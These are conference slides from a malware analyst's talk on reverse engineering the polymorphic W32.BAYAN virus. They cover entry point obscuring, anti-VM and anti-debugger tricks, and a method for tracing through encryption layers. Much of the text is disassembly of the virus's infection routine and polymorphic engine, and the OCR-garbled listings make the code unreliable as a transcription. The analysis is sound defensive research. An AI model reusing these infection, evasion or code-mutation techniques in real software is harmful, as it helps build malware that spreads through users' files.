Polymorphic Virus Analysis

Nicolas BRULEZ
Senior Virus Researcher
Websense Security Labs

IMPROVISED TALK MMMKAY?!
Case Study: W32.BAYAN

FEATURES:

- The virus is Polymorphic and very infectious.
- **EPO : Entry Point Obscuring** - the entry point address in the header is not modified, the virus injects code in the real entry point and hops around a few times, before it jumps to the virus entry point.
- Obfuscated layers, using junk instructions, and different decryption operations (simple ones tho).
- The junks code actually abuses a bug in VMWARE 5, so the virus actually crashed in the VM at the time of the analysis.
The Encryption Layers

- The virus has Anti Vmware instructions inside his encryption layers.
  - **VERW** reg : Exception!
  - Does not crash on a real computer (only infection happens :-)
  - Tracing the layers inside a VM was a pain because of their size and the fact that the number of layers is actually unknown when you start reversing it.

- Bypassing the layers.
  - Look for a pattern! In most packers/viruses, there is always some sort of pattern you can use to identify loops boundaries.
  - Pattern in the layers: `cmp reg32,reg32` followed by a JB
  - I used ollyscript to automate the layer tracing and anti VM code removal.
The Encryption Layers

This crashes under VMware: not under real computers

Anti VM!
The Encryption Layers: OllyScript

- We can control the debugger and automate debugging sessions
- Very useful to script unpackers

- So I wrote a dodgy Virus Tracer
  - Remove Anti VM
  - Locate end of layers
  - Put breakpoints and resume execution

- Stop condition
  - Most viruses use a call followed by a pop to calculate a delta address (Shellcodes and Packers use that too)
  - So I assumed I would eventually find one of those right after the decryption and it worked :-(
Lame Polymorphic Layers Tracer
The Encryption Layers

- **Process Dump:**
  - We can dump the process when we are at the virus entry point
  - Static Analysis with IDA is now possible
  - We can also debug our new dump and start directly from the virus code.
  - No need to go through all the layers anymore

- **Delta Based Code:**
  - Viruses usually use Delta Offsets.
  - Code can be executed anywhere in memory.
  - Harder to understand statically.
Static Analysis

- In order to read the code easily in IDA, you can load the file manually and subtract the delta offset from the imagebase, in order to get a nice disassembly that you can interact with, without spending your time using an IDC script, structures or whatsoever.

- Just select Manual Load, and do something like 0xImagebase - 0xdelta in IDA, and the file is loaded nicely and gets a lot easier to analyse.

- Next slides don't use that technique, the code was loaded normally. not enough time to redo them : Complain to Hugo ;-}
Get delta offset
SUBROUTINE

fix_host_with_removed_chunks proc near ; CODE XREF: start+Clp
        cld
        lea    esi, [ebp+4032b1h] ; ESI = removed bytes
        mov    edx, 1

still_chunks_to_fix:
        mov    edi, [ebp+4032b0h]
        add    edi, [ebp+4032b0h]
        mov    ebx, edi
        lodsd  eax, [ebp+4032c1h]
        sub    eax, [ebp+4032c1h]
        mov    ecx, eax ; Get number of bytes to overwrite
        rep movsb ; do overwriting
        inc    edx
        cmp    edx, [ebp+4032a9h] ; compare counter with number of chunks removed
        j1     short still_chunks_to_fix
        ret

fix_host_with_removed_chunks endp
xchg    eax, esi
lea     edi, [ebp+4026AEE] ; GetProcAddress
mov     ecx, 0Fh
nop
repe cmpsb ; cmp ASCII
xchg    eax, esi
pop     edi
pop     ecx
jz      short Get_found
nop
nop
nop
nop
inc     edi
inc     edi
loop    loc_106A148
jmp     short locret_106A186

db 3 dup(90h)

Get_found:
    xor     eax, eax
    mov     ax, [edi]
    shl     eax, 2
    mov     esi, [ebx+1Ch]
    add     esi, edx
    add     esi, eax
    lodsd
    add eax, edx
    mov     [ebp+4026C1k], eax ; _GetProcAddress

locret_106A186:
    ret

Get_GetProcAddress        endp
Anti Debugging: Exception

```
.rsrc:0106876E  Ant1Debug:               ; CODE REF: start+17Ip
    .rsr:0106876E  call     jmp_over_lame_obfuscation
    .rsr:0106876E  ; -------------------------------
    .rsr:0106876E  dd 1
    .rsr:0106876E  db 088h ; +
    .rsr:0106876E  ; -------------------------------
    .rsr:0106876E  jmp_over_lame_obfuscation:
        .rsr:0106876E  pop  ebp
        .rsr:0106876E  sub  ebp, 403847h
        .rsr:0106876E  pop  dword ptr [ebp+4038A0h]
        .rsr:0106876E  pusha
        .rsr:0106876E  call  Generate_Exception
        .rsr:0106876E  mov  esp, [esp+8]
        .rsr:0106876E  jmp  short go_on
        .rsr:0106876E  ; -------------------------------
        .rsr:0106876E  nop
        .rsr:0106876E  nop
        .rsr:0106876E  nop
        .rsr:0106876E  ; -------------------------------
    .rsr:01068601  Generate_Exception: ; CODE REF: .rsr:010687F1Ip
        .rsr:01068601  push  dword ptr fs:0
        .rsr:01068607  mov   fs:0, esp
        .rsr:0106860D  inc   byte ptr cs:0
        .rsr:01068613  go_on:             ; CODE REF: .rsr:010687FC1j
            .rsr:01068613  pop   dword ptr fs:0
            .rsr:01068619  add   esp, 4
            .rsr:0106861C  popa
            .rsr:0106861C  pusha
            .rsr:0106861D  jmp   short loc_106B821
        .rsr:0106861F  ; -------------------------------
    .rsr:01068615  loc_106B821:       ; CODE REF: .rsr:0106881E1j
        .rsr:01068615  db 068h
    .rsr:01068820  ; -------------------------------
    .rsr:01068821  ; lame obfuscation: 0x68 is opcode for a CALL
    .rsr:01068823  ; -------------------------------
    .rsr:01068823  ; -------------------------------
    .rsr:01068823  ; -------------------------------
    .rsr:01068823  ; -------------------------------
```
Anti Debugging:
PEB.IsDebuggerPresent
Anti Debugging: MeltICE

```
loc_106B84C:  ; CODE XREF: .rsrC:0106B8401
    lea    esi, [ebp+403BEA+]
call   CreateFileA
    inc    eax
;
    ; ------------------------------------------------------------------------
    ; db 0BBh ; +
    ; ------------------------------------------------------------------------
    test   eax, eax
    jmp    short loc_106B85F
;
    ; ------------------------------------------------------------------------
    ; db 0EAh ; d
    ; db 0FAh ; .
    ; ------------------------------------------------------------------------
loc_106B85F:  ; CODE XREF: .rsrC:0106B85B1
    jnz    short f_cKoff
    nop
    nop
    nop
    nop
    lea    esi, [ebp+403BF3h]
call   CreateFileA
    inc    eax

;rsrC:0106B887 ; static STR(int,char,...)
;rsrC:0106B887 STR_Slice db '\\SICE\0
;rsrC:0106B890 STR_NTice db '\\NTICE\0
;rsrC:0106B89A ; ------------------------------------------------------------------------
```
Infection
Infection

```asm
    mov     [ebp+402100h], ebx : 106A0B8
    mov     esi, ebx
    mov     eax, [esi+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
    mov     [ebp+402300h], eax : 106A098
    mov     edi, esi
    mov     edx, [ebp+402310h] ; 106A0B4:
    call    Rip_bytes_and_replace_them_with_EPO_code
    pusha
    mov     eax, 164900h
    call    VirtualAlloc
    test    eax, eax
    jz      locret_1069D01
    mov     edi, eax
    lea    eax, [ebp+402800h]
    mov     ecx, 7470
    call    Generate_Poly_layers
    mov     [ebp+402300h], ecx : 106A09C
    mov     [ebp+402300h], edi : 106A0A0
    popa
    mov     ebx, [esi+IMAGE_NT_HEADERS.OptionalHeader.NumberOfRvaAndSizes]
    shr    ebx, 3
    xor     eax, eax
    mov     eax, [esi+IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
    dec     eax
    mov     ecx, 28h
    mul     ecx
    add     esi, 78h
    add     esi, eax ; Ptr to last section header
    or      [esi+IMAGE_SECTION_HEADER.Characteristics], 0A0000020h
    mov     eax, [esi+IMAGE_SECTION_HEADER.SizeOfRawData]
    add     eax, [ebp+402300h] ; 106A09C: TV
    mov     [esi+L0h], eax
    mov     edi, [esi+8]
    cmp     eax, edi
    jge     short loc_1069FCA
    nop
```
Infection

```
.rsrc:01069FC2  add    edi, [ebp+023FFH]
.rsrc:01069FC8  mov    eax, edi
.rsrc:01069FCA  loc_1069FCA:
.rsrc:01069FC8  mov    ecx, [ebp+00418H]
.rsrc:01069FD0  mov    ecx, [esi+IMAGE_NT_HEADERS.OptionalHeader.Address]  
.rsrc:01069FD3  div    ecx
.rsrc:01069FD5  inc    eax
.rsrc:01069FD6  mul    ecx
.rsrc:01069FD8  mov    [esi+IMAGE_SECTION_HEADER.Misc.VirtualSize], eax
.rsrc:01069FDB  mov    eax, [esi+IMAGE_SECTION_HEADER.VirtualAddress]
.rsrc:01069FDE  add    eax, [esi+IMAGE_SECTION_HEADER.Misc.VirtualSize]
.rsrc:01069FEE  mov    [ebp+00323H], eax ; 106A0C0
.rsrc:01069FE7  mov    eax, [esi+IMAGE_SECTION_HEADER.SizeOfRawData]
.rsrc:01069FEA  add    eax, [esi+IMAGE_SECTION_HEADER.PointerToRawData]
.rsrc:01069FED  mov    [ebp+00358H], eax
.rsrc:01069FF3  mov    edi, [esi+IMAGE_SECTION_HEADER.SizeOfRawData]
.rsrc:01069FF6  sub    edi, [ebp+00358H]; 106A09C: 7F
.rsrc:01069FFC  add    edi, [ebp+00418H]
.rsrc:0106A002  add    edi, [esi+14H]
.rsrc:0106A005  mov    esi, [ebp+00418H]
.rsrc:0106A00B  mov    ecx, [ebp+00358H]; init counter with virus size
.rsrc:0106A011  cld
.rsrc:0106A012  rep movsb
.rsrc:0106A014  mov    ebx, 119460CH
.rsrc:0106A019  mov    eax, esi
.rsrc:0106A01B  call    VirtualFree
.rsrc:0106A01B  loc_106991:
.rsrc:0106A020  mov    esi, [ebp+00417H]
.rsrc:0106A026  mov    WPARAM [esi+38H], 'nf'; Mark file as infected
.rsrc:0106A02C  mov    esi, [ebp+00418H]; 106A09B: F
.rsrc:0106A02E  mov    eax, [ebp+00418H]; 106A0C0:
.rsrc:0106A038  mov    [esi+IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], eax
.rsrc:0106A03B  dont_infect_this_file: ; CODE >REF: infect_file+521]
 | Infect_file+521]...
.rsrc:0106A03B  mov    eax, [ebp+00417H]
.rsrc:0106A041  call    UnmapViewOfFile
.rsrc:0106A046  loc_106A046: ; CODE >REF: infect_file+361]...
```

Polymorphic Engine Reverse Engineering

- Polymorphic engines use:
  - A Pseudo Random Number Generator
  - Assembly instructions helping code generation (stosb etc)
  - Loops to generate more than one layer
  - A lot or pseudo randomness

- Helpful:
  - Intel Opcodes doc to identify which instruction is generated by the polymorphic engine (im getting old :-) )
  - Makes things easier and quicker
Rayon Generator
Poly Generator

.CODE XREF: Generate_big_thrash_block+16

; This proc generate a number between 0 and the parameter

call $+5
pop ebp
sub ebp, 402875h
push edx
push ecx
xor edx, edx
imul eax, 100
push eax
call PL_GetRandom
pop ecx
div ecx
xchg eax, edx
xor edx, edx
mov ecx, 100
div ecx
pop ecx
pop edx
ret
Poly Engine

; CODE XREF: PL_GetRandomNum+141p
; .rsr0106A719+1p...

.var_8 = dword ptr -8

push edx
push ecx
rdtsnc
; Time Stamp
rcl eax, 2
add eax, 4B0C4A5Ch
adc eax, esp
xor eax, ecx
xor [ebp+4028A1h], eax
add eax, [esp+var_8]
rcl eax, 1
pop ecx
pop edx
ret

PL_GetRandom endp
Poly Engine

```
rsrc:0160A9C  PolyMorphic_generator proc near
          push    ebp
          push    edi
          push    esi
          push    ebx
          mov      [ebp+402FC7h], ecx ; 106AC64 : Vir Size
          mov      [ebp+401F8Ah], eax ; 106AC3C : ptr to virus entry point
          mov      [ebp+402F0Bh], edx ; 106AC68 : where to place the generated code?
          call    Get_36_romom_values
          mov      ecx, [ebp+3C3FFh]
          call    Get_Random_word
          mov      ecx, [ebp+3C274h]
          call    generate_big thrash_block
          call    delta_offset: ; store E8 (call)
          mov      al, 0E8h
          stobs    eax, eax ; EAX = 0
          stods    eax, edx ; store dword -> E8000000
          mov      ecx, [ebp+3C1eeh]
          call    generate_big thrash_block
          mov      al, 58h
          add      al, bh
          mov      ecx, [ebp+3C16eh]
          call    generate_big thrash_block
          add_reg32_reg32:
          mov      al, 81h
          stobs    eax, [ebp+4038Ah]
          mov      al, 0C0h
          add      al, bh
          stobs    eax, [ebp+4038Ah]
          mov      eax, [ebp+403F8Ah]
          sub      eax, 9
          stods    eax, edx ; store dword -> E8000000
          mov      ecx, [ebp+403F6Ah]
          call    generate_big thrash_block
          rsrc:0160A9C  PolyMorphic_generator endp
```
Poly Engine

```
......
cmp_reg32_reg32_jb_out_layer:
    mov     al, 3BH
    stosb
    xor     eax, eax
    mov     al, bh
    shl     al, 3
    add     al, 0C0h
    add     al, bl
    stosb
    mov     ax, 820Fh ; Magic Jb :-) tell us where the end of the layer is
    stosw
    xor     eax, eax
    dec     eax
    mov     ecx, 1Ch
    sub     eax, [ebp+ecx+401F3h]
    mov     ecx, 18h
    sub     eax, [ebp+ecx+402F9h]
    sub     eax, 13h
    stosd
    mov     ecx, [ebp+402FC7h]
    call    Generate_big_thrash_block

.rsrc:0106A8E4
......
mov     ecx, [ebp+402F7Bh]
add     ecx, esi
......
Encrypt_virus:
    ... ; CODE XREF: .rsrc:0106A8F6↓↓↓
    lodsd
    sub     eax, [ebp+402F7Bh] ; this code is patched: SUB can be XOR, ADD etc
    stosd
    cmp     esi, ecx
    j1      short Encrypt_virus
    mov     edx, [ebp+402F7Bh]
    mov     ecx, [ebp+402F7Bh]
    add     ecx, [ebp+402F7Bh]
    pop     ebx
    pop     esi
    pop     edi
    pop     ebp
    ret
......
```

Poly Engine

```
.rsrc:0106A555 Generate_big_thash_block proc near
push edx
push ecx
push esi
push ebp
push ebx
call $+5
pop ebp
sub ebp, 4028C2h
loc_106A566:
    mov eax, 22
    call PL_GetRandomNum
    shl eax, 1
    lea esi, [ebp+40283Bh] ; 106A9D5: Ptr to Random_values
    add esi, eax ; Use rnd value as displacement into the table
    xor eax, eax
    lodsw
    lea esi, [ebp+4028C0h] ; 106A566: +0
    add eax, esi
call eax
jmp short loc_106A566
Generate_big_thash_block endp
```
| rsrC:0106A9D4 | dw 0C2h |
| rsrC:0106A9D5 | dw 160h |
| rsrC:0106A9D7 | dw 184h |
| rsrC:0106A9D9 | dw 2C0h |
| rsrC:0106A9DB | dw 0DFh |
| rsrC:0106A9DD | dw 10Fh |
| rsrC:0106A9DF | dw 3EAh |
| rsrC:0106A9E1 | dw 1A1h |
| rsrC:0106A9E3 | dw 24h |
| rsrC:0106A9E5 | dw 36h |
| rsrC:0106A9E7 | dw 1ECf |
| rsrC:0106A9E9 | dw 1BDh |
| rsrC:0106A9EB | dw 22Ch |
| rsrC:0106A9ED | dw 133h |
| rsrC:0106A9EF | dw 5Dh |
| rsrC:0106A9F1 | dw 32Dh |
| rsrC:0106A9F3 | dw 2F5h |
| rsrC:0106A9F5 | dw 378h |
| rsrC:0106A9F7 | dw 351h |
| rsrC:0106A9F9 | dw 39Ch |
| rsrC:0106A9FB | dw 24Fh |
| rsrC:0106A9FD | dw 3CEh |
| rsrC:0106A9FF | dw 0FCFDh |
| rsrC:0106AA01 | dw 0F890h |
| rsrC:0106AA03 | dw 0F5F9h |
| rsrC:0106AA05 | dw 0F3F2h |
| rsrC:0106AA07 | dw 0ABA3h |
| rsrC:0106AA09 | dw 0B3ADh |
| rsrC:0106AA0B | dw 0D88Bh |
| rsrC:0106AA0D | dw 0B68Fh |
| rsrC:0106AA0F | dw 0BEB7h |
| rsrC:0106AA11 | dw 0BCAFh |
| rsrC:0106AA13 | dw 0BDC1h |
| rsrC:0106AA15 | dw 0BDC1h |
Poly Engine
Questions

Questions ?

Thank you !

(Don't forget this was an improvised talk made in 20 minutes to replace someone who canceled)